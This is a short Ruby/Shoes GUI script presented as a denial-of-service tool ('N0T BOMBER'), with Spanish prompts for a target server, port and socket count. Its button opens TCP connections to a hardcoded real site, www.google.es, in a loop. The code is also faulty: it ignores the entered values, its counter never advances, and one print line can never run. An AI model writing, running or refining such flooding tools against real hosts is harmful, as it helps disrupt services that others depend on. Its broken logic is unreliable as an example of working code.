require 'socket' Shoes.app do @text=para "N0T BOMBER (N0T GROUP DOSER)\n" @text.style :size=>15 @text1=para "Introduzca el servidor al que desee realizar el ataque:\n" @text1.style :size=>10 @line= stack do edit_line :width=> 400 end @text2= para "Introduzca el puerto que desea atacar:\n" @text2.style :size=>10 @port= stack do edit_line :width=>50 end @text3= para "Introduzca en numero de sockets de que deseas abrir:\n" @text3.style :size=>10 @num= stack do edit_line :width=>50 end @button=button "DoSear" @button.click { a=0 until a==500 begin TCPSocket.new('www.google.es', 80) rescue Errno::EBADF retry puts "#{a} sockets abiertos" end end } end